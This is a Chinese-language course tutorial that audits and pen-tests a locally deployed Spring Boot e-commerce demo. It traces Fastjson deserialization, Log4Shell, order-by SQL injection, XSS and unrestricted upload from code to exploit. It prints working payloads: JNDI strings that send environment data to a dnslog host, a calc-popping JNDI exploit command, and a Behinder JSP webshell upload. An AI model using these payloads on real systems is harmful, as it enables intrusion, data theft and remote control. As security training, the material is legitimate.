JavaWeb代码审计实战之迷你天猫商城系统详细分析版,实战应用级系统的Log4j2shell代码审计
前言:
【如需转载,请详细表明来源,请勿设置原创】
嗨,朋友你好,我是闪石星曜CyberSecurity创始人Power7089。
今天为大家带来的是【炼石计划@Java代码审计】Java代码审计实战阶段文章。内部课程文章部分分享给大家学习,如果你想利用碎片化时间系统学习Java代码审计欢迎加入我们。
【炼石计划@Java代码审计】是一个利用碎片化时间即可从入门到提升系统化学习Java代码审计的成长型知识星球。这里不仅注重夯实基础,更加专注实战进阶。强烈推荐加入我们,一起来内卷Java代码审计。
欢迎大家扫描下方二维码关注 “闪石星曜CyberSecurity” 公众号,这里专注分享渗透测试,Java代码审计,PHP代码审计等内容,都是非常干的干货哦。
一、项目简介
迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。
二、项目搭建
1、环境要求
1、Windows 10
系统。
2、Java版本为1.8.0_261
。
3、Mysql版本为5.7
。我用的是PHPstudy集成的。
4、IDEA版本随意。
2、项目部署流程
①、命令行进入Mysql后,创建数据库名为tmalldemodb
,并切换使用该数据库,如下图所示:
②、将项目文件中的/sqls/tmalldemodb.sql
的数据导入到tmalldemodb
数据库,注意导入路径中应使用正斜杠/
,如下图所示:
③、使用IDEA打开本项目,等待Maven自动加载依赖项,如果时间较长需要自行配置Maven加速源。几个现象表明项目部署成功。pom.xml
文件无报错,项目代码已编译为class
,Run/Debug Configurations...
处显示可以运行。如下图所示:
④、修改src/main/resouces/application.properties
配置文件内容,具体如下图所示:
⑤、点击启动Run/Debug Configurations...
本项目,启动成功如下图所示:
⑥、项目访问地址如下:
- 前台地址:
http://127.0.0.1:8088/tmall
- 后台地址:
http://127.0.0.1:8088/tmall/admin
本项目Github地址:
1 |
|
三、代码审计漏洞挖掘
1、第三方组件漏洞审计
本项目是基于Maven构建的。对于Maven项目,我们首先从pom.xml
文件开始审计引入的第三方组件是否存在漏洞版本,然后进一步验证该组件是否存在漏洞点。
本项目引入的组件以及组件版本整理如下。
组件名称 | 组件版本 |
---|---|
SpringBoot | 2.1.6.RELEASE |
Fastjson | 1.2.58 |
Mysql | 5.1.47 |
Druid | 1.1.19 |
Taglibs | 1.2.5 |
Mybatis | 3.5.1 |
Log4j | 2.10.0 |
整理完成后,如何确定该组件版本存在漏洞?最简单的方法无疑于从搜索引擎进行搜索,比如关键字:Fastjson 漏洞
。进一步可从组件官网,CVE,CNVD,CNNVD等网站查询。
2、组件漏洞代码审计
通过查看pom.xml
文件中引入的第三方插件,且经过搜索查询,发现Fastjson、Log4j、Mybatis引入存在漏洞的版本,我们进一步验证是否存在漏洞。
2.1、Fastjson漏洞代码审计
本项目引入的Fastjson版本为1.2.58,该版本存在反序列化漏洞。我们进一步探索一番。
2.1.1、Fastjson简述
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java对象之间相互转换。
两个主要接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作。
2.1.1、Fastjson反序列化简述
Fastjson反序列化漏洞简单来说是出现在将JSON数据反序列化过程中出现的漏洞。
攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。
2.1.2、寻找漏洞触发点
已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数JSON.parse()
和JSON.parseObject()
。
全局搜索两个关键字,发现本项目存在JSON.parseObject()
,如下图所示:
双击进入ProductController.java
文件,问题代码出现在了第151行
,使用JSON.parseObject()
方法反序列化了propertyJson
参数,我们向上追踪propertyJson
参数,该参数是添加产品信息
接口中产品属性JSON
字段。如下图所示:
通过代码审计,找到了Fastjson反序列化漏洞点。我们通过渗透测试进一步验证。
2.2、Log4j漏洞代码审计
本项目引入的Log4j版本为2.10.0,该版本存在远程代码执行漏洞。我们进一步探索一下。
2.2.1、Log4j简述
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
2.2.2、Log4j远程代码执行漏洞(CVE-2021-44228)简述
由于Apache Log4j2某些功能存在递归解析,攻击者可在未经身份验证的情况下构造发送带有攻击语句的数据请求包,最终造成在目标服务器上执行任意代码。
其中涉及到的lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。
该组件漏洞主要发生在引入的log4j-core
,log4j-api
是不存在该问题的。log4j-core
是源码,log4j-api
是接口。
pom.xml
文件引入Log4j组件情况如下图所示,引入了log4j-core
,以及版本为2.10.0
。基本确定存在问题,验证还需进一步寻找能触发的漏洞点。
由于SprinBoot默认自带日志记录框架,一般不需要引入,在pom.xml
中剔除出去。如下图所示:
2.2.3、寻找漏洞触发点
全局搜索关键字logger
,如下图可以看出,本项目使用logger.info
级别记录日志方式居多。
大多漏洞分析文章使用logger.error
去做调试。两者区别在于默认记录信息不同。这块内容留个作业,大家自行搜索下,不难理解。
经过一番探索,发现有几处日志记录拼接了变量参数,让我们看看这些参数是否是从前端传来的。如下图所示:
双击即可进入该代码文件,该文件位于src\main\java\com\xq\tmall\controller\admin\AccountController.java
。该代码文件位于Controller层,主要用于和视图交互,处理用户输入的数据等操作。
关键代码如下图所示:
对上述代码进行分析。触发漏洞点的代码为65行的logger.info("获取图片原始文件名:{}", originalFileName);
。向上追踪,发现通过file.getOriginalFilename();
获取file的文件名后赋值给originalFileName
。在向上追踪,file参数来自admin/uploadAdminHeadImage
接口,通过注释我们可以知道此处为管理员头像上传
功能。
总结来说:访问管理员头像上传功能,将文件名改为攻击语句,即可触发Log4j漏洞。
关于该漏洞验证,需跳转到四、渗透测试漏洞挖掘与验证
部分学习,从实战渗透测试角度进行攻击验证。
2.3、Mybatis漏洞代码审计
本项目引入的Mybatis版本为3.5.1,该版本存在远程命令执行漏洞。我们进一步探索一下。
Mybatis < 3.5.6存在远程代码执行漏洞,CVE编号为CVE-2020-26945
。
在满足以下三个条件的时候,攻击者可以触发远程代码执行:
1 |
|
所谓二级缓存,也就是将查询结果放到缓存中,下次查询时结果相同的话直接从缓存中获取结果。
经过探索src\main\resources\mybatis
下面的配置文件,本项目并未开启
二级缓存。
1 |
|
关键条件被否定,即不存在该漏洞,故忽略。
在审计到其他项目时,可以着重注意下版本号,以及开启二级缓存的语句。
关于该漏洞详情可以查阅下面地址:
1 |
|
3、单点漏洞审计
对组件是否存在漏洞进行验证后,我们针对功能单点代码审计,发现存在的漏洞。
对于单点功能代码审计除了特定漏洞存在特定代码审计方法,一般我习惯先去看一遍Controller层代码,了解基本功能。再从功能出发进行代码审计。
3.1、SQL注入漏洞代码审计
本项目使用了Mybatis,来定义SQL。我们主要查看Myabatis中xxxMapper.xml
文件中是否存在使用$
拼接SQL语句的情况。使用$
是直接拼接SQL语句的,未进行转义。
全局搜索关键字$
,确实存在几处order by
使用了$
拼接SQL语句,因为order by
是没办法使用#{}
的。搜索结果如下图所示:
以UserMapper.xml
文件为例,进行逆向追踪。
①、双击进入UserMapper.xml
文件,第78行存在问题。向上查看根据select id
追踪该dao层的代码文件。如果在IDEA中安装插件Free Mybatis plugin
是可以快速进行跳转到代码文件,只需点击左侧绿色箭头即可,如下图所示:
②、跳转到dao层代码文件,可以看到select函数中存在orderUitl
参数,我们继续逆向追踪,看看参数值从何而来。
③、键盘按住ctrl
键后鼠标左击select
,查看谁使用该函数,如下图所示:
④、可以看到有两个文件使用了该函数方法,点击UserServiceImpl.java
文件,定位到37行。如下图所示:
⑤、从上图可以看出。getList
方法中需要orderUtil
参数,我们继续逆向追踪,看看orderUtil又是从何而来。首先看看谁使用了getList
方法,键盘按住ctrl
键后鼠标左击getList
,如下图所示:
⑥、可以看到UserController.java
使用了该方法,且第170行中传入了orderUtil
值,进入文件查看具体代码,如下图所示:
⑦、针对上述文件进行分析,先看161行实例化OrderUitl工具类,该类需要两个参数即,orderyBy和isDesc
。点击进入查看该类的代码,该类文件位于src\main\java\com\xq\tmall\util\OrderUtil.java
。通过注释了解该类用于排序/倒序字段。如下图所示:
⑧、此时应该追踪orderBy
参数是从何而来。从下图可以看到,该值通过admin/user/{index}/{count}
接口传过来的。通过注释可以看出来该接口用于按条件查询用户,如下图所示:
整个流程串下来,确定了漏洞点为orderby
参数,该参数值来源于按条件查询用户
。
既然接口找到了,我们可以使用BurpSuite或者Postman来构造请求,然后进一步攻击验证。或者,通过注释我们了解到该接口为查询用户,我们访问后台寻找功能点,发现用户管理翻页查询会向该接口发送请求数据包,如下图所示:
点击翻页时,使用BurpSuite抓取数据包,可以看到发送数据包中存在orderby字段,如下图所示:
至此,SQL注入漏洞代码审计完毕。
确定了用户管理功能翻页查询数据处存在SQL注入。
关于SQL注入漏洞我们放在渗透测试部分进行实战验证。
3.2、XSS漏洞代码审计
从开发视觉来看防护XSS漏洞,大多是过滤/转义用户的输入和输出。对于开发人员来说,不可能对每一个输入和输出点进行过滤/转义。一般常使用filter层(过滤器)或拦截器进行统一过滤。
或者所使用的前端框架自带防XSS机制。
所以,我们审计XSS漏洞第一步看看filter层是否存在XSS过滤代码。对本项目审计发现filter层并没有关于防护XSS的代码,如下图所示:
第二步,我们看看使用的前端框架是什么,版本是多少,以及是否存在防XSS漏洞机制。经过一番查找,发现pom.xml和webapp文件下,都表明使用了传统的JSP。JSP大多配合Filter进行XSS防护,上述我们发现filter层并没有XSS防护机制。
经上述验证,本项目存在XSS漏洞。我们从渗透测试实战角度进一步验证。
3.3、任意文件上传代码审计
在做Log4j漏洞代码审计时,我们发现管理员头像上传
存在文件上传功能,对于该功能,我们主要审计一下是否存在任意文件上传漏洞。
一般,对于代码审计任意文件上传漏洞来说,首先是看看是否存在文件上传功能,然后进一步审计是否存在任意文件上传漏洞。
或者我们可以查看Controller层所有代码,缕清项目大致有哪些功能点。
或者搜索相关关键字,文件上传关键字如下:
1 |
|
但对于SpingBoot项目
来说,想要SpringBoot内嵌的Tomcat对JSP解析,一定要引入相关依赖。如下图所示:
对于很多SpringBoot项目来说,是无需引入解析JSP依赖的。那么对于任意文件上传漏洞来说,上传JSP木马肯定是没有办法解析的。对于任意文件上传漏洞利用,只能通过内存马等方式进行攻击了。后面会有相关项目练习。
这次,我们先关注本项目的管理员头像上传
文件上传功能,进行代码审计。
已知本项目引入了对JSP解析的依赖,下面我们审计管理员头像上传功能的关键代码,看看能否上传JSP木马。代码如下图所示:
代码审计分析:
①、第62行,通过@RequestMapping
注解,我们得到如下几个信息:
1 |
|
②、第63行,uploadAdminHeadImage
方法接受绑定的file参数
和session参数
,我们主要关注file
参数。
③、第64行,获取到文件名称后赋值给originalFileName
。
④、第67行,是获取文件后缀名,先看括号内originalFileName.lastIndexOf('.')
,获取originalFileName
字符串最后一次出现.
的地方。然后通过substring
截取子串的方式得到文件后缀名,赋值给变量extension
。也就是说,尽管出现.jsp.jsp.jsp
这种形式后缀名,最后得到的结果也只有.jsp
。
⑤、第69行,随机命名文件,采用UUID+extension
方式,并赋值给fileName
参数。
⑥、第71行,获取上传路径,赋值给filePath
。
⑦、第76到80行,上传文件关键代码,创建文件流将文件上传到filePath
路径中,上传成功后,会返回该文件的文件名。
至此,上传流程代码审计结束。整个流程串下来,我们发现并没有相关过滤恶意后缀名的代码。本项目中filter层也没有相关过滤代码。
经过分析确定该位置存在任意文件上传漏洞。
关于其他地方是否还存在任意文件上传漏洞呢?留个作业,大家练习一下。
关于任意文件上传漏洞验证,我们放在渗透测试实战部分进行验证。
四、渗透测试漏洞挖掘与验证
2.1、登录处可暴力破解
前台用户登录处,管理后台登录处均没有图形验证码,以及其他防暴力破解措施。可以对账号进行爆破破解。
此处不过多展开,可以学习第一套课程文章。
2.2、Fastjson漏洞验证
经过代码审计发现本项目存在FastJson漏洞。从漏洞触发点追踪到了用户输入点。下面我们从渗透测试阶段进行实战验证。
漏洞面为添加产品信息的admin/product
接口,其中漏洞输入点为propertyJson
参数。
定位代码位置,发现该代码位于admin
路径下。根据代码结构,可以断定该功能在管理后台,如下图所示:
访问管理后台,经过一番查找,发现漏洞输入点位于所有产品-添加一件产品
功能下。
点击添加一件产品后,使用BurpSuite抓包拦截记录请求数据包,发现请求地址为admin/product
,并且产品属性信息为propertyJson
字段参数,如下图所示:
将上面的数据包,发送到Repeater模块,用于后续漏洞验证。
对propertyJson
参数值进行URL解码,发现为JSON格式字符串,如下图所示:
2.2.1、出网漏洞验证
①、访问在线DNSlog地址,比如:http://dnslog.cn/
,https://log.咕.com/
。
②、点击获取一个子域名,如下图所示:
③、下面,我们构造漏洞验证POC:{"@type":"java.net.Inet4Address","val":"4ssfle.dnslog.cn"}
,将其粘贴到propertyJson
字段中。如下图所示:
④、点击发送数据包后,稍等一小会,访问NDSLog地址,点击Refresh Record
,可以看到获取到回显信息,成功触发了Fastjson漏洞,如下图所示:
至此,通过DNSLog方式,对Fastjson漏洞进行了验证,并证明该漏洞存在。
更多验证漏洞POC:
1 |
|
2.3、Log4j漏洞验证
从代码审计处分析发现Log4j存在漏洞,我们通过渗透测试进一步验证,并利用该漏洞。
首先,登录管理后台,访问我的账户-管理员头像
。
然后,打开BurpSuite,浏览器配置还代理地址指向BurpSuite。点击管理员头像处,选择任意图片后,点击上传,此时BurpSuite拦截到上传数据包,如下图所示:
最后,将数据包,发送到Repeater模块
,以备后续验证使用。
2.3.1、出网漏洞验证
使用在线DNSlog,搭配POC进行漏洞验证。具体操作如下。
访问在线DNSlog地址,比如:http://dnslog.cn/
,https://log.咕.com/
。
①、访问上述任意DNSlog地址,点击Get Subdomain
获取一个地址,如下图所示:
②、复制获取的地址,拼凑成漏洞验证POC:${jndi:ldap://8xxxxx.dnslog.cn}
,将其粘贴到上面数据包filename
处,如下图所示:
③、点击发送数据包后,访问DNSlog网站,点击Refresh Record
,可以看到获取到了访问记录数据,如下图所示:
2.3.2、出网外带信息
Log4j处理${}
是采用递归方式解析。也就是说有几个${}
表达式,就使用对应的Lookup解析几个。
因此,我们可以配合使用DNSLog来进行信息外带。具体操作如下。
①、打开DNSLog地址,点击获取一个子域名地址。
②、复制子域名地址,拼凑出攻击POC:${jndi:ldap://${env:OS}.8o4koq.dnslog.cn}
,将其粘贴到上传头像数据包中的filename处,如下图所示:
④、点击发送数据包,观察DNSLog结果,得到外带信息结果,如下图所示:
关于本漏洞可更多外带的信息,推荐学习下面这篇文章:
1 |
|
2.3.3、进一步利用JNDI注入工具探索
经过简单探测验证,发现头像上传功能的确存在Log4j的远程代码执行漏洞。一般验证到此也就结束了。但本着热爱学习态度,岂能不进一步研究一下呢。当然,下述行为请勿进行未授权渗透测试等违法行为
,仅为了学习研究。
此步骤利用到的工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
同时打包放在了分享文件中。Java版本还是1.8.0_261
。注意:要确保 1099、1389、8180端口可用,不被其他程序占用。
①、打开命令行进入该工具目录,键入命令java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
(-C 远程class文件中要执行的命令。本例子为弹计算器
) ,该工具给出了可利用的攻击命令,如下图所示:
②、根据项目环境,我们选择使用第三个,trustURLCodebase为false
,并且项目也是基于Tomcat8+,SpringBoot1.2.x+的。如果实在拿捏不准,大不了几个都试试。复制第三个攻击链接,将其粘贴到头像上传数据包中的filename处,如下图所示:
③、点击发送数据包,稍等一会后,会发现本地弹出来了计算器,如下图所示:
至此,我们通过出网和不出网方式进行了验证,以及使用JNDI注入工具进行了弹计算器
操作,当然对于JNDI注入工具的功能不仅仅如此。
后面关于Log4j漏洞反弹shell我会写个专项课程文章。
老规矩,针对这块留个作业,大家先行练习如何利用该工具进行反弹shell。
当然大家也可以将本项目打包成war包后,部署在Linux环境中进行练习。
2.4、SQL注入漏洞验证
从代码审计处,我们发现了存在SQL注入的漏洞功能点用户管理-点击下一页按钮
,会向后端发送查询数据包,其中存在漏洞参数orderBy
。
现在,我们从渗透测试角度,对该漏洞进行验证。
首先,我们访问该功能,再点击下一页的时候,使用BurpSuite抓取数据包,如下图所示:
用户管理处测试数据本身不多,无法点击下一页,大家可以自行构造上述数据包。
2.4.1、初步判断
使用orderBy子句,猜解列数。
orderBy=1
,返回正常数据
1 |
|
orderBy=99
,返回错误页面
1 |
|
基本确定存在order by类型的SQL注入
。
2.4.2、进一步验证判断
- ①、使用rand函数结果显示排序方式不同
1 |
|
- ②、利用regexp(正则表达式)
1 |
|
- ③、利用updatexml(更新选定XML片段的内容)
1 |
|
- ④、利用extractvalue(从目标XML中返回包含所查询值的字符串)
1 |
|
- ⑤、时间盲注
1 |
|
2.4.3、使用SQLmap
①、将数据包保存放入txt文件中,在orderBy参数处键入*
,表示只对该地方进行探测注入。如下图所示:
②、命令行进入SQLmap文件中,并键入命令:python sqlmap.py -r txt文件地址
,如下图所示:
③、回车,进行SQL注入攻击,最终得到结果如下:
在平时工作授权黑盒渗透测试时,对于Mybatis项目,可以多多关注不能使用#{}
转义的场景,就比如上述order by
语句。
2.5、XSS漏洞验证
管理后台 - 我的账户 - 管理员昵称处存在XSS漏洞。
访问上述功能,在管理员昵称处键入XSS漏洞验证POC,<img src=1 onerror=alert(1) />
,点击保存。如下图所示:
触发XSS弹框,如下图所示:
其他地方,大家自由发挥。
2.6、任意文件上传漏洞验证
在代码审计阶段,我们确定了管理后台中管理员头像上传处存在任意文件上传漏洞。
我们从渗透测试角度对其进行漏洞验证。
工具涉及到BurpSuite和冰蝎(下载地址:https://github.com/rebeyond/Behinder
,本课程文件夹中有该工具)
①、首先,访问后台管理-我的账户
功能。并且打开BurpSuite,以及浏览器代理并指向BurpSuite地址。
②、点击管理员头像,选择任意图片进行上传。此时BurpSuite抓取到上传文件数据包,将其发送到Repeater模块,以备后续使用,数据包如下图所示:
③、修改filename后缀名为.jsp
,并修改Content-Type: text/plain
。将原先文件数据内容删除,并将冰蝎server/shell.jsp
木马内容复制粘贴到上传数据包处后,点击发送数据包,获取到文件名字。如下图所示:
④、从渗透测试角度进行分析,我们找一下文件URL路径。浏览器(我用的火狐,快捷键为F12)打开查看器,定位到图片,可以看到该图片的URL,如下图所示:
⑤、既然知道了图片路径URL,将我们的木马拼凑一下,获得URL地址为:http://127.0.0.1:8088/tmall/res/images/item/adminProfilePicture/464b8a45-841d-45fa-959f-08de37d034d7.jsp
。
⑥、打开冰蝎,右键新增,将URL地址粘贴进去,并键入密码(默认密码为:rebeyond
),如下图所示:
⑦、点击保存后,网站列表多了我们新增加的地址,双击该地址,即可连接JSP木马,如下图所示:
至此,任意文件上传漏洞验证完毕。